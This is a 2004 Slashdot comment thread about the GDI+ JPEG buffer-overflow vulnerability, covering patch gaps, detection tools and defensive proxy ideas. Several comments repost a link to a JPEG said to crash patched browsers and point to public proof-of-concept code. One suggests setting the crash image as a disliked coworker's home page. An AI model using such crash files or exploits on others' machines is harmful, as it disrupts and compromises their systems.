  22. Crashes IE on fully patched XP / SP2 machines by Anonymous Coward · · Score: 0, Offtopic

    Have a look before it gets slashdotted: http://sylvana.net/test/AP4.jpg

    1. Re:Crashes IE on fully patched XP / SP2 machines by Anonymous Coward · · Score: 0

      This file also crashes IE 5 for Mac OS X.

    2. Re:Crashes IE on fully patched XP / SP2 machines by datadriven · · Score: 1

      File worked using firefox on slackware.

    3. Re:Crashes IE on fully patched XP / SP2 machines by julesh · · Score: 1

      How is this offtopic? I know it isn't actually the bug being discussed but it is a Windows JPEG bug, and could potentially be developed into an exploit.

      Or did the mods see an AC linking to a jpeg and assume it was a goatse troll?

  23. y!? by airdrummer · · Score: 0

    maybe this'll finally b the 2x4 that gets the attention of all those microserfs;-)

  24. hmm someone predicted this by minus_273 · · Score: 5, Insightful

    about a year or so back there was a slashdot story about i think macafee researchers talking about viruses being transmitted over images. Everyone called it stupid market speak from a firm trying to sell more AV products by scaring people with somthing that is not possible. I think we all need to offer them an apology. I think this is a bizzare parallel to when people used to joke about email viruses way back in the min 90s. Kind of sad that it is real now. It will be even more so when images are used for exploits too. Though, i suspect those at most risk are those that go to websites looking for lots of images...

    --
    The war with islam is a war on the beast
    The war on terror is a war for peace
    1. Re:hmm someone predicted this by Anonymous Coward · · Score: 3, Insightful

      Yeah, it's pretty ridiculous that virus scanners need to scan pretty much EVERY file on your hard drive now. It started with just .EXE and .COM files, back in the DOS days. Then there was that batchfile virus (which used DEBUG)--add .BAT. Windows caught on--add .DLL. Then came macro viruses--add .DOC. And the AV companies caught on and decided to scan compressed files--add .ZIP and nowadays even .RAR. Then Windows started including scripting--add a half-dozen extensions there. Some JavaScript and Active-X-based exploits--add .HTML. Then there were some WinAMP and Windows Media Player buffer overflows--add .MOD and .MP3. Now we've got .PNG and .JPG.

      There really is no difference between "data" and "code" these days. The worst is when programs, which are registered for dozens of filetypes, ignore the extension and instead look at the content of the file to determine what to do with it. (For example, you can rename a .MOD file as .WAV and it will still play in WinAMP.) So that not only increases the number of extensions to scan, but requires that files with those extensions be scanned in a bunch of different ways.

      It's sad, really.

    2. Re:hmm someone predicted this by stromthurman · · Score: 1

      No, we need not offer Macafee or Symantic or any other AV company reporting a JPEG virus an apology. The AV company in question proposed this as a virus: a real virus/backdoor/trojan/whathaveyou that would be installed on a system that would change how Explorer handles the .jpeg extension. Basically passing all jpeg files to this new virus program when they're double clicked. The program would make an attempt to translate the jpeg into instructions and perform said instructions. So, you need a real virus to change an extension, then specially crafted .jpeg files (which probably would not be valid jpegs at that point) to make use of this program.
      Here is why they need no apology, you could implement this system with ANY type of file, even using extensions that aren't used by any other program (for instance: .holyfuckshit, which probably is used by something, but anywho...) The AV company used .jpeg files because jpegs are everywhere and it would instill a sense of fear. This new exploit is NOT what they were predicting at all.

      --
      I have discovered a truly remarkable sig which this margin is too small to contain.
    3. Re:hmm someone predicted this by stromthurman · · Score: 4, Informative

      And for further information, the virus MacAfee reported on was called Perrun. You can read more about it here. The advisory was issued in mid 2002, and is entirely seperate from the issue at hand.

      --
      I have discovered a truly remarkable sig which this margin is too small to contain.
    4. Re:hmm someone predicted this by minus_273 · · Score: 1

      im talking more about the concept of infections from images not the details of the methods. WE laughed because someone proposed that it may be possible, much the same way we once laughed at email viruses.

      --
      The war with islam is a war on the beast
      The war on terror is a war for peace
    5. Re:hmm someone predicted this by ChrisCampbell47 · · Score: 1
      Current death toll from Amnesty International's actions in Nepal: 9000

      Uh, yeah, you're going to have to explain that to me.

      Looking at your other comments, I'm not too concerned.

    6. Re:hmm someone predicted this by Zoxed · · Score: 1

      > macafee researchers talking about viruses being transmitted over images. Everyone called it stupid market speak from a firm trying to sell more AV products by scaring people with somthing that is not possible.

      So they went away, and like good engineers produced a proof-of-conncept for the disbelievers :-)

  25. Hard to patch by Manip · · Score: 5, Interesting

    This bug exists in most Microsoft Software. So for someone to patch they can't simply connect to Windows Update and consider themselves safe, they also have to patch Office, Visual Studio, some Microsoft Games, Server Software (misc, not covered by Update) and more.

    So don't sit there on an SP2 system and consider yourself safe. There is more than likely a whole host of ActiveX controls just waiting to be called and exploited by this bug.

    Also note that some applications written in Visual Basic can also be exploited.

    1. Re:Hard to patch by mikechant · · Score: 2, Informative

      Yes, and also note that the not totally clear wording in the MS article might lead (for example) one to think that you are safe in Win98 because MS lists it in the 'Software not affected' list. But IE6 *is* affected even if you are running it on Win98.

  26. ho to find it? by RosCabezas · · Score: 2, Insightful

    Is there a tool to proccess jpg files searching for malicious content?

    1. Re:ho to find it? by 3rd_Floo · · Score: 1

      oh no! We might be waiting till Longhorn is released if it has to scan my collection!

    2. Re:ho to find it? by Just+Some+Guy · · Score: 1

      Sure! Just write a program that halts when it detects unprocessable input, then watch that program to see if it halts. If it works, collect your PhD at the door.

      --
      Dewey, what part of this looks like authorities should be involved?
  27. Oh Oh!! by WindowLicker916 · · Score: 1

    Just imagine all the malicious porn pictures that will be circulating the internet forever. Upside is that there is more free porn ;)

  28. No - Burn IE day... by tiger99 · · Score: 1

    ... where we all download IEradicator or the appropriate litepc for our OS, and simultaneously eradicate the trash from out computers.

    (www.litepc.com)

  29. Microsoft patches by Anonymous Coward · · Score: 4, Funny

    You can make a big fucking quilt with all those patches they keep giving out!

    1. Re:Microsoft patches by Old+Wolf · · Score: 1

      Fo sho. I saw advertising for a movie 'How to Make an American Quilt'. I thought it was going to be a tutorial on how to install patches for Windows. Unfortunately it was Winona Ryder. :(

  30. What if the patch hurts? by Anonymous Coward · · Score: 0

    I can't use SP2. It does really bad things to my 2 XP boxes. ...which both have Office installed.

    Until now, I've always conscientiously applied patches and safe practices to my Windows boxes.

    Now I'm between a rock and a hard place.

    1. Re:What if the patch hurts? by LocoMan · · Score: 1

      You can also try the stand alone patch for this particular bug here: http://www.microsoft.com/technet/security/bulletin /MS04-028.mspx

  31. Re:troll. by Skye16 · · Score: 2, Interesting

    Really? It loads pages faster for me. Sure, the initial start up time is worse, but...

    Just because you took his comment out of context doesn't mean he's a troll. :P

  32. Re:heheheh by Anonymous Coward · · Score: 0

    Indeed.
    Instead of a nice howto insert stuff into jpgs i got a lame news story.

    Now, where is the stuff that matters?

  33. Sad by Anonymous Coward · · Score: 1, Funny

    Everyone knows that you can be infected having sexual intercourse, however, that you now can even be infected by just looking at porn is rather sad I have to say.

  34. Re:troll. by pcardno · · Score: 0

    OK - I apologise for my comment..

    I'd like our company to switch to Firefox as in my own, personal, valueless opinion and experience, I find it to be faster at rendering pages and less likely to crash than Internet Explorer. But this is purely my own opinion and experience, and results may vary. No animals were harmed in the making of this comment.

    --
    --- Band: Joey Ultra
  35. Let me get this right... by slot32 · · Score: 3, Interesting

    M$ Release Sp2 for XP. People resist installing cause they hear it can screw things up etc so they delay installing. M$ announce a new flaw with sample code in the wild, show how every O/S they have (practically) is suseptable EXCEPT XpSp2. ...? Funny order of events no?

    1. Re:Let me get this right... by Pidder · · Score: 1
      M$ Release Sp2 for XP. People resist installing cause they hear it can screw things up etc so they delay installing. M$ announce a new flaw with sample code in the wild, show how every O/S they have (practically) is suseptable EXCEPT XpSp2. ...? Funny order of events no?

      Yeah very funny... except that there is a fix for non-sp2 users too.

    2. Re:Let me get this right... by belthezar · · Score: 1

      "Funny order of events no?"

      No.

    3. Re:Let me get this right... by dasmegabyte · · Score: 1

      A few corrections to your post:

      1) Microsoft is spelled with an s, not a dollar sign. Said symbol is not pronounced in English script.

      2) Generally, once a company discovers a flaw in their program, they release a patch for it in the latest version first. Since this product drives profits, it is in the company's best interests to make it worth buying. Hence, SP2 was released before other patches.

      3) Other patches exist for this vulnerability. I don't even run XP and I'm protected.

      Google is right there, next to your address bar. If you use the two in tandem, you can avoid saying retarded things.

      --
      Hey freaks: now you're ju
  36. Re:That's it... by Anonymous Coward · · Score: 0

    This is going to wreck havoc when it's combined with spam. People that haven't patched, I'm sure also will open all of their mail messages with images displayed automatically.

  37. Everyone knew it by Pan+T.+Hose · · Score: 4, Funny

    I knew there was something wrong with Goatse when I saw it!

    Everyone knew it was a backdoor.

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
    1. Re:Everyone knew it by mikefe · · Score: 1

      "Everyone knew it was a backdoor."

      Though some thought it was the "front" door.

      --
      There: Something at a specific location.
      Their: Owned by someone.
      Please make sure your english compiles.
  38. Comment removed by account_deleted · · Score: 4, Informative

    Comment removed based on user account deletion

  39. THIS HAS NOT BEEN FIXED, url inside by Anonymous Coward · · Score: 5, Interesting

    http://sylvana.net/test/AP4.jpg

    will crash IE on an updated xp sp2 system.

    1. Re:THIS HAS NOT BEEN FIXED, url inside by Jan-Pascal · · Score: 4, Insightful

      Confirmed on WinXP SP2, all Windows updates, all Office updates. OK in Firefox (1.0PR), but crashes IE 6. And it's not even a goatse link: http://sylvana.net/test/AP4.jpg

    2. Re:THIS HAS NOT BEEN FIXED, url inside by MattElmore · · Score: 1, Funny

      Safari doesn't crash Damn Windows users always get the new features first! :(

    3. Re:THIS HAS NOT BEEN FIXED, url inside by ericpi · · Score: 2, Insightful

      The fact that a fully patched IE still crashes on this JPEG (and others, I'm sure) is inexcusable.

      I can somewhat understand that their previous JPEG implementation had problem(s) with unchecked input. In a perfect world, programmers would be better at validating input, but we all know the rush to get SW out the door. These bugs can (unfortunately) slip by.

      However, after a highly public and exploitable flaw is found in their JPEG parsing, they should have made damn sure that the 'fixed' version is rock solid, validating every single bit of an image. What this says to me is that they found the one bug that caused the initial exploit, then didn't bother to see if there were others. Lazy and unacceptable.

    4. Re:THIS HAS NOT BEEN FIXED, url inside by DigitalRaptor · · Score: 2, Insightful

      This is standard fare for Microsoft. They patch the particular exploit, rather than the vulnerability that allowed it.

      Fatal mistake, and one they make VERY often. Remember all of the RPC viruses we had one after the other? Same vulnerability, different exploits, one bandaid after another.

      I despise it when doctors treat symptoms rather than the underlying problem. This is standard operating procedure for Microsoft.

      --
      Lose Weight and Feel Great with Isagenix
    5. Re:THIS HAS NOT BEEN FIXED, url inside by Anonymous Coward · · Score: 1, Funny

      For what it's worth, it displays just fine by Safari in MacOS 10.3.5.

      No errors or crashes.

    6. Re:THIS HAS NOT BEEN FIXED, url inside by julesh · · Score: 3, Interesting

      http://sylvana.net/test/AP4.jpg

      will crash IE on an updated xp sp2 system.


      It also crashes a Win2K system, which is NOT AFFECTED according to the original MS announcement.

    7. Re:THIS HAS NOT BEEN FIXED, url inside by julesh · · Score: 1

      http://sylvana.net/test/AP4.jpg

      will crash IE on an updated xp sp2 system.


      I'm pretty sure this is a different flaw. Whether its exploitable or not, I don't know, but I've just run the proof of concept code being discussed in this article on my system and it does not cause a crash. Your image does. This is an unpatched Win2K system, so it isn't a case of MS doing a workaround that doesn't catch some cases of the problem. You may want to forward that image to MS's IE team, and let them analyse what's wrong with it.

    8. Re:THIS HAS NOT BEEN FIXED, url inside by Anonymous Coward · · Score: 0

      But it does cause IE 5.2 to crash (and I got a message before it crashed about how I was running low on disk space).

      (No, I don't use IE, but I just felt like I had to check...)

    9. Re:THIS HAS NOT BEEN FIXED, url inside by grolschie · · Score: 1

      It also crashed an updated IE6sp1 on my 98SE machine too.

    10. Re:THIS HAS NOT BEEN FIXED, url inside by Reziac · · Score: 1

      This file also crashed Netscape 3.04 on Win98, in fact it BSOD'd the system (a very rare event).

      I tried viewing it with QuickPictureViewer (an old DOS viewer) and in its B/W preview, it shows the file as corrupted all to hell, and won't do the full display at all.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    11. Re:THIS HAS NOT BEEN FIXED, url inside by b1scuit · · Score: 1
      I wonder if she knows she's on the internet?

      Keyboard error... press F1 to resume

    12. Re:THIS HAS NOT BEEN FIXED, url inside by Anonymous Coward · · Score: 0

      crashes netscape communicator 4.8 running on mac os 9.22

    13. Re:THIS HAS NOT BEEN FIXED, url inside by zquestz · · Score: 1

      This also crashes the latest IE release on OS X.

    14. Re:THIS HAS NOT BEEN FIXED, url inside by Anonymous Coward · · Score: 0

      I really fail to see what the issue is here.
      That this image crashes the JPEG library in IE (and many other products) has been known for 4 years (Google). Give the hacker community a little more credit. It took 9 days for an exploit to surface for the problem in GDI+, but in 4 years no exploit has surfaced for AP4.jpg.
      Moreover, the image is not a valid JPEG image (the components in the scan are out of order). So, presumably not valid JPEG encoder will generate such images.
      Can we move on?

    15. Re:THIS HAS NOT BEEN FIXED, url inside by Anonymous Coward · · Score: 0

      "... on Win98, in fact it BSOD'd the system (a very rare event)."

      Yes, BSODs are very rare, especially on w98 ;-)

  40. The level of polish and craftmanship of OSS... by Anonymous Coward · · Score: 0

    Microsoft themselves have even aknowledged "that commercial quality can be achieved / exceeded by OSS projects." See Halloween I

  41. This exploit is nothing new... by Thaidog · · Score: 1

    JPG and other image file exploits the same and similar to this have been around for a long time. One easy way to hide a document or application was to send it like a jpg and then you could decode it if you were the correct party... otherwise it looked like a jpg and that's it.

    --

    ||| I still can't believe Parkay's not butter.

    1. Re:This exploit is nothing new... by CanadianCrackPot · · Score: 1

      Yes that's steganography, nothing new here get outguess.

      --
      Good programmers drink beer to relieve job stress.
      Great programmers drink hard liquor and work best hungover.
    2. Re:This exploit is nothing new... by aderusha · · Score: 1

      that's "steganography", not an exploit. get your facts together...

  42. Use safe languages for libraries? by 0x0d0a · · Score: 2, Interesting

    You know, it might be worthwhile to write things like libjpeg in safe languages.

    Ocaml is pretty fast, but I realize that not everyone wants the runtime. How about cyclone? It's an extended version of C that's backwards compatible with C, but can pick up unsafe errors at compile time -- sounds pretty much like what folks might want.

    1. Re:Use safe languages for libraries? by IamTheRealMike · · Score: 2, Interesting
      Ah, I was thinking about how useful a safe C dialect would be only the other day. If Cyclone is the real thing, then getting a GCC frontend for it up and running then convincing maintainers of important libraries to port to it (or forking) might be a great way to help out open source security.

      /me goes back to reading the website

    2. Re:Use safe languages for libraries? by b1t+r0t · · Score: 1
      You know, it might be worthwhile to write things like libjpeg in safe languages.

      That's a nice thought, but I'm pretty sure that libjpeg wasn't the code in question. This was Microsoft JPEG. Which is just like the real thing, only less secure.

      --

      --
      "Open source is good." - Steve Jobs
      "Open source is evil." - Microsoft
    3. Re:Use safe languages for libraries? by julesh · · Score: 1

      This was Microsoft JPEG.

      I don't know anything about this particular vulnerability, and where it was introduced, but Internet Explorer's about box contains the following text:

      Portions of this software are based in part on the work of the Independent JPEG Group.

    4. Re:Use safe languages for libraries? by nytes · · Score: 1

      I've thought about the same thing but I always run into the same problem: no matter what you write your library in, it will have to be able to interface to C/C++.

      That means that, although your language may check every array bound before every access, and test every pointer for validity before each use, and place sentinals on the stack to detect overflows, you will still be accepting data from a program that may have miscalculated its array bounds or somesuch error.

      You basically need to write libraries that assume the caller is hostile to the functioning of your library. That means structuring interfaces to them that may be less than optimal or convienient, which would in turn tend to discourage programmers from using your libraries.

      --
      -- I have monkeys in my pants.
    5. Re:Use safe languages for libraries? by 0x0d0a · · Score: 1

      Sure, but if you make the data opaque to the program -- say, "this is array of raw data and this is the length" and "this is your pixel array after I've decoded it", then the content of the data should never matter. All these exploits aren't due to just basic bugs in programs, but due to some sort of specially-crafted content that isn't handled causing problems.

      The code that needs to be secured is the logic where operation depends on the content of the data.

  43. Comment removed by account_deleted · · Score: 2, Informative

    Comment removed based on user account deletion

  44. Link by fearlezz · · Score: 2, Informative

    I don't see a link to the sample exploit in the article...

    well, here is one link.

    --
    .sig: No such file or directory
  45. No way to scan for this by SlydogSZ · · Score: 0

    I am running xp sp2, i have installed every update for this bug that microsoft has put out , yet when I scan my pc the microsoft provided scanner tells me that I am still open to an attack. That is just one pc, imagine a corp with 1000s of computers. Bottom line is Microsoft has not provided an easy windows update way to patch this so most end users (read your mom, dad, grandparents) are not going to be patched and are going to get wtfpwnd by the first worm that exploits this.

  46. Re by Anonymous Coward · · Score: 1, Interesting

    How long before some bug starts rampaging the internet because of the vulnerability in windows?

    Two weeks... less?

    Batton down the hatches I'd say, it won't be long before this one gets nasty.

  47. Don't worry.... by Kjella · · Score: 2, Insightful

    Still this may also be very good grounds for a class action against MS, as they are not honouring a users request NOT to use IE.

    That anti-trust case will be raised by 2006 and resolved by 2014, by which time the successor to the successor to the successor of Longhorn will be released, with a few more dozen anti-trust issues and another slap on the wrist from the DoJ.

    Kjella

    --
    Live today, because you never know what tomorrow brings
  48. AutoUpdate not good enuff by DanMc · · Score: 5, Informative
    Autoupdate and Windowsupdate only install a fraction of the patches released for this bug. (Windows OS and IE basically)

    WindowsUpdate does install a "GDI+ Detection Tool", but I have run this tool on systems with unpatched Visual Studio, Outlook, and Office and it does not detect that the patches are missing. I looked at the strings in this tool, and it basically looks like it checks for MS Photo software.

    Manually visiting "officeupdate.microsoft.com" and running those updates will probably cover the most common attack vectors (Outlook, Word), but how many people do this on a regular basis? My users are not admin-level (yet) so they can't use this update site.

    Incidentally, every default configuration of IE/Word I have seen allows DOC files with jpegs to be opened in the browser window with no prompting. It will not be hard to get people to run the exploits, and there's plenty of ways for worms to automate themselves without users opening things.

    I'm working on a script to detect and run the patches (there's about 17 of them for this bug) but it's going to be a while because of the pre-reqs for many of the patches, and the very specific revisions that must match the patch. "If Visio 2002 is installed, detect which Visio SP level is running. If it's SP0 or SP1, run Visio SP2, then reboot, and run GDI patch"...

    Sorry if I'm spreading panic, but this bug sucks.

    1. Re:AutoUpdate not good enuff by TCM · · Score: 1

      Wait a second. Isn't the reason we are going through DLL hell the one that we have one piece of code for decoding JPEG being reused as often as possible? So patching this bug should be as simple as replacing one DLL, right?

      Not right? Damn me and my ideal views.

      --
      Of course it runs NetBSD. BTC: 1NT7QvbetmANwaMzhpVL6
    2. Re:AutoUpdate not good enuff by BubbleNOP · · Score: 1

      I had the opposite experience. GDI+ detection tool says I need to update Office, but Office update site doesn't give me any updates. Everything installed on this work computer is legitimate. The machine has no spyware on it. I had lots of problems with Microsoft's patches in general and must conclude that they are just as buggy as the programs they try to patch.

  49. The Above post is NOT a *troll* by SenseiLeNoir · · Score: 0

    The parent post is not a troll. It is asking when Firefox will support the single logon system for signing in, as currently supported via IE.

    If we want to get a lot of offices to transition to FF, this may be very important, and i believe the FF designers ARE working on it, if not already finished it.

    I am certainly keen on finding out more about this, and whoever marked the parent as troll will cause this thread to dissapear.

    --
    Have a nice day!
  50. Morons by Pan+T.+Hose · · Score: 0, Troll

    This bug exists in most Microsoft Software. So for someone to patch they can't simply connect to Windows Update and consider themselves safe, they also have to patch Office, Visual Studio, some Microsoft Games, Server Software (misc, not covered by Update) and more.

    Haven't they discovered the advantages of shared objects and dynamic linking yet? On my box I have literally hundreds of programs which were vulnerable to PNG exploits. All I did was write "apt-get upgrade" and forget about it to have them all patched at once after downloading a single 100kB package. When a similar vulnerability is found in Microsoft code everyone screams bloody murded, CNET writes about it, Slashdot writes about it, there is film at eleven and worms start to wreak havoc for years because, as you said, it is "hard to patch." But no, it is Linux that is somehow "not ready for the desktop."

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
    1. Re:Morons by Anonymous Coward · · Score: 0

      Of course they know about shared objects and dynamic linking. Thats why DLLs are otherwise known as Dynamic Linked Libraries. GP doesn't know what they're talking about.

    2. Re:Morons by surprise_audit · · Score: 1
      Haven't they discovered the advantages of shared objects and dynamic linking yet?

      I thought that was the whole point of DLLs ?? Dynamic Link Library, right?? Or maybe the DLLs were just a way to insinuate little pieces of Internet Explorer into most apps so that it would be difficult to remove...

    3. Re:Morons by dasmegabyte · · Score: 1

      Hey. This is Slashdot. Until some amateur clones an idea and offers it for free with no support, it doesn't exist.

      --
      Hey freaks: now you're ju
    4. Re:Morons by julesh · · Score: 1

      The problem exists in GDIPLUS, which is a DLL of which, for some bizarre reason known only to MS, an additional copy is installed for each application that uses it.

      Bizarre, but true.

  51. Mother really did know best by R.Caley · · Score: 2, Funny

    You remember when she told you that looking at `those' pictures was bad...

    --
    _O_
    .|<
    The named which can be named is not the true named
    1. Re:Mother really did know best by Anonymous Coward · · Score: 0

      Wow! Your mother talked to you about not looking at goatse??? That's messed up.

    2. Re:Mother really did know best by Anonymous Coward · · Score: 0

      "Son! Please stop watching pictures of men sprading their anuses!" Really, what's so messed up about it?

    3. Re:Mother really did know best by Anonymous Coward · · Score: 0

      True. If I was a mother who had just found out that her son used Slashdot, I would be concerned because most Slashdotters see male ass in the form of goat.se man probably more often than a real pussy... Sad but true. I know I can only speak for myself but I soppose I am not the only virgin here.

  52. how long have these people been writing software? by Anonymous Coward · · Score: 0

    either they haven't learned how to write secure code, or they are doing it on purpose?

    is it just me or does it look like it's only that "Not That Frelling Stuff" file system? and just the stuff since 2002? hmmmm ...

    only for diablo and doom se/2/final and at most only 98. nope, won't be doing doom3, either, darn it

  53. How about a JPEG-scanning proxy? by Anonymous Coward · · Score: 0

    Something like junkbuster, but it scans the headers of jpeg/png/etc. files to verify that they aren't corrupted. This would automatically protect IE, Outlook, etc. as long as net access was all via proxy and not direct connect. This would buy time to update everything.

  54. "malicious" hackers v. av people by danZenie · · Score: 1

    if the exploit code is out, and the shitware hackers can get a hold of it, how come the antivirus people can't do the same thing. study the code, then come with definitions that will prevent a disaster to some extent. the problem with the av people is that if the exploit is never used then it would have been a waste of their time. well shit is like paying for insurance.

    --
    You need people like me so you can point your fuckin fingers and say, "That's the bad guy." So what that make you? Good?
    1. Re:"malicious" hackers v. av people by mistersooreams · · Score: 1
      shit is like paying for insurance
      Good analogy.
  55. "Don't look, Ethel!" by R.Caley · · Score: 3, Funny

    but it was too late, she'd already been wormed.

    --
    _O_
    .|<
    The named which can be named is not the true named
  56. Re:troll. by NatasRevol · · Score: 0

    Don't forget, Firefox leads to fewer security holes, fewer adware and fewer viruses. No reason to change that I can think of.

    --
    There are two types of people in the world: Those who crave closure
  57. Re:OpenBSD by GerbilSoft · · Score: 1

    In order for a bug to be fixed, it has to exist in the first place. So you're admitting that OpenBSD had a flaw caused by Microsoft JPEG libraries? :)

  58. Re:how long have these people been writing softwar by DanMc · · Score: 1
    I sympathize that bugs happen, but it seems to me that a buffer overflow in the JPEG handler is one of the fisrt things you look for when you do a code audit.

    Isn't there a team at Microsoft who says, "What parts of Outlook do we still have that automatically launch other things? Maybe we should go look at the source code for those and see if there are unchecked buffers?"

  59. PROXY ! by nucleargeek · · Score: 2, Interesting

    Writting a proxy server that validates or blocks all JPG images going through it, is probably possible. Such a proxy can also process PNG, BMP and other vulnerable formats.This proxy could be run either at
    the user level (personal protection) or at the ISP level.

    Time to start a new open source project !

    1. Re:PROXY ! by Anonymous Coward · · Score: 0

      There was some discussion of converting jpegs to other formats on the fly. Of course this is a ridiculous suggestion - as you say, simply checking jpegs (AFAIK it's only a few bytes you have to check) and forwarding a "infected jpeg" image instead would be a much better option.

      I never thought I'd see the day when we had to worry about parsing image files. Ho-hum, at least nobody's found an ASCII parsing flaw...yet.

    2. Re:PROXY ! by gmuslera · · Score: 1
      Its called squid. With it you can easily block all jpg/png/bmp/etc files, but of course, if you do that, maybe you can safely upgrade your browser to lynx, w3m or links (all in text mode, of course).

      For more complex checks (instead of just blocking, check and/or even virus check) there are several open source projects already that enables checking of content. Probably you just need a program that says if a graphic image is "valid" and it will be probably easily integrated with such solutions.

  60. Rawr. by Renraku · · Score: 1

    This isn't java, this isn't ActiveX. This isn't obscure or anything. This is a common deal. Its one of the most fundamental things about web-browsing besides the text! The pictures. So now the pictures can bite just as hard (if not harder) than java or ActiveX things. Microsoft should be ashamed of themselves. Letting this kind of bug slip past them. I bet there's a buffer overflow or critical exploit in Notepad or Minesweeper that would compromise networks and serve the hacker free pizza if you looked at 'infected' text.

    --
    Job? I don't have time to get a job! Who will sit around and bitch about being broke and unemployed then?
  61. The real way this will infect people... by Khyron42 · · Score: 2, Insightful

    Everyone seems to be expected infected pr0n or e-mail... it's so much simpler than that it's been scring me since this exploit was announced. I'd say about 2/3rds of the corporate computers in this country are still vulnerable, and enough of them visit MSN or CNN.com on a regular basis for a simple banner ad to give someone a REALLY nice assortment of zombie PCs.

    --
    Pavlov's Dog ate the bell, and now he's barking at Schroedinger's cat all the time... -Me
    1. Re:The real way this will infect people... by Anonymous Coward · · Score: 0

      Perhaps webmasters should start writing code to scan for these exploits and nuke them when an image is uploaded.

    2. Re:The real way this will infect people... by saintp · · Score: 1
      Let's not forget the uncountable numbers of handy malware apps out there that regularly pop-up advertisements. Just give someone an offer for Viagra that, having seen it a billion times already, they'll just close, but not before they're pwn3d.

      Thank you, Microsoft. Thank you right to hell.

  62. Windows 98 not affected ! by Anonymous Coward · · Score: 0

    So glad I did not update my other machine, which I use only for games.
    I guess I'm safe then, or are there other security updates that I should do ?

  63. Re:That's it... by iezhy · · Score: 0

    well, prepare your mailboxes for increased amounts "free p0rn site!!! come and see!!!", "see $your_fav_celebrity_name naked!!!" and etc. spam :-)

  64. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  65. List of exploits by cortana · · Score: 1

    There used to be an excellent page documenting every known flaw in IE, along with its severity and whether it had been fixed. Most informative were details on an (unfixed) problem with IE's handling of SSL authentication dating back to THE YEAR 2000. Unfortunatly the site authors removed it after MS announced their Trusted Computing initiative, in the intrest of giving MS a break.

    Hah! Exploit after exploit continue to be revealed. Are they even bothering to fix the recent drag-and-drop exploit, 'cos my fully patched XP machine at home is still vulnerable.

    I post to ask if any one knows of a similar site that is still updated; I have googled and came across http://continue.to/trie, but the layout isn't great and basically I want the old site back. :(

  66. Better make sure... by jmcmunn · · Score: 2, Funny


    I better make sure to convert all of my porn to .png format from now on. It'd suck if someone hijacked my computer while I was busy...

  67. The only MS products without security holes ... by VitaminB52 · · Score: 2, Funny

    ... are the books by Microsoft Press.

    1. Re:The only MS products without security holes ... by Anonymous Coward · · Score: 0

      I guess you've never heard of a book worm?

  68. Thank you. by Anonymous Coward · · Score: 0

    I appreciate your thoughtfulness, and your assistance.

    Have a good, exploit-free day, sir.

  69. Don't overreact by cardshark2001 · · Score: 1
    The article says that the exploit allows you to run a named process on the machine. The article does NOT say the exploit allows the writer to run arbitrary code on the machine.

    Sure, this is really bad, but how can someone take control of your machine using this 'sploit?

    --
    WWJD? JWRTFA!
    1. Re:Don't overreact by DanMc · · Score: 1
      MS Q-articles are well known for putting makeup on the pig until a real worm is released, then they move the risk to critical. The POCs linked to by the slashdotters are showing that the bug is able to run system-level code, creating admin users and launching cmd.exe as system. The POCs might be using other security flaws to do this, but the result is the same. (like the message queueing flaws [design flaws] that MS says can't be fixed)

      I am shocked that a JPEG library uses named pipes...Maybe it's because it part of the code is processed by the graphics driver running as system?

    2. Re:Don't overreact by Anonymous Coward · · Score: 0

      Oh you're so right! All it does is add a user named "X" with admin priviledges!

      No need to worry at all! Go back to watching TV.

      By the way, paste this into a fully patched Internet Exploder and see what happens :

      http://sylvana.net/test/AP4.jpg

      See - no need to worry. Dick.

    3. Re:Don't overreact by nenolod · · Score: 1

      By modifying the shellcode.

    4. Re:Don't overreact by fearlezz · · Score: 1

      The article doesn't. But the source code at Securiteam.com shows you can insert any piece of code you like.

      --
      .sig: No such file or directory
  70. Shit by NineteenSixtyNine · · Score: 0

    As well as W2K machines.

    --

    --
    What would Bill Clinton do?
  71. A fiendishly clever idea by NineteenSixtyNine · · Score: 0

    Set that as the home page for a co-worker you hate. This should be fun, but its gonna take me a while to change everyone's home page.

    --

    --
    What would Bill Clinton do?
  72. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  73. not interested by dh003i · · Score: 1

    What I'm interested in is the security holes in FS/OSS -- software that I use. If people here are supposed to be so pro-FS/OSS, they should be posting things that help FS/OSS -- not proprietary software. Hint: constructive criticism helps the criticized, and does not harm them.

    1. Re:not interested by drinkypoo · · Score: 1

      What you seem to have forgotten is that this is the really real world and many of us are compelled to run Windows and other related or unrelated closed source software because of the realities of the world - namely that the majority of the desktops in it run Windows and the majority of the corporations do likewise. What I'm interested in is anything that impacts me. This impacts me, because I have to deal with it at work and I also have Windows machines at home. (Hint: I play games.)

      Please don't presume to decide what everyone else should read. That's the editors' job :P

      How does this news not help FS/OSS, anyway? It lets the world know that Microsoft is full of vulnerabilities - not that FS/OSS isn't.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  74. Don't worry. by Anonymous Coward · · Score: 0

    You just need to use a Trojan.

  75. the named process could be internet explorer by apparently · · Score: 0

    The article says that the exploit allows you to run a named process on the machine. The article does NOT say the exploit allows the writer to run arbitrary code on the machine.

    Sure, this is really bad, but how can someone take control of your machine using this 'sploit?


    The process could then be instructed to download hostile code off of a remote host.

  76. ob. IT theme joke by sootman · · Score: 1, Funny

    I think I might have it, and I think slashdot might be comprimised! I saw the story on the front page, clicked the link to read more, and all of a suddent Slashdot had this really crappy color scheme.

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  77. JPEG take over your machine by sebol · · Score: 1

    Well, that porn .asf file can be set to automatically open a web page from Media Player which contains a JPEG that takes over your machine...

    Then, the JPEG watch porn for you, and can do everything it like, such as eliminating its competitor by converting all .gif .bmp .tiff and .xcf.gz into .jpeg

    --
    -- Hasbullah bin Pit (sebol)
  78. The Extra Kicker For Office... by EXTomar · · Score: 1

    ...is that you often need the install media to do any updates. What * the * hell? You might have had your machine setup by a central IT lab and they have the CD image install to work from. Even if the source is provided over the network is a non-savy user going to understand where to find it? I give it a 50/50 shot.

    So thanks again to Microsoft they make critical functions a pain in the ass to execute which often means it does not get run at all.

    1. Re:The Extra Kicker For Office... by drinkypoo · · Score: 1

      While this is horribly annoying it is not as much of a problem as you think it is. If you install from a UNC path, and the user has permissions to the share, then there will not be a problem. On the other hand, unless you're an Administrator, you're probably not allowed to install the updates anyway, which is a more serious problem.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
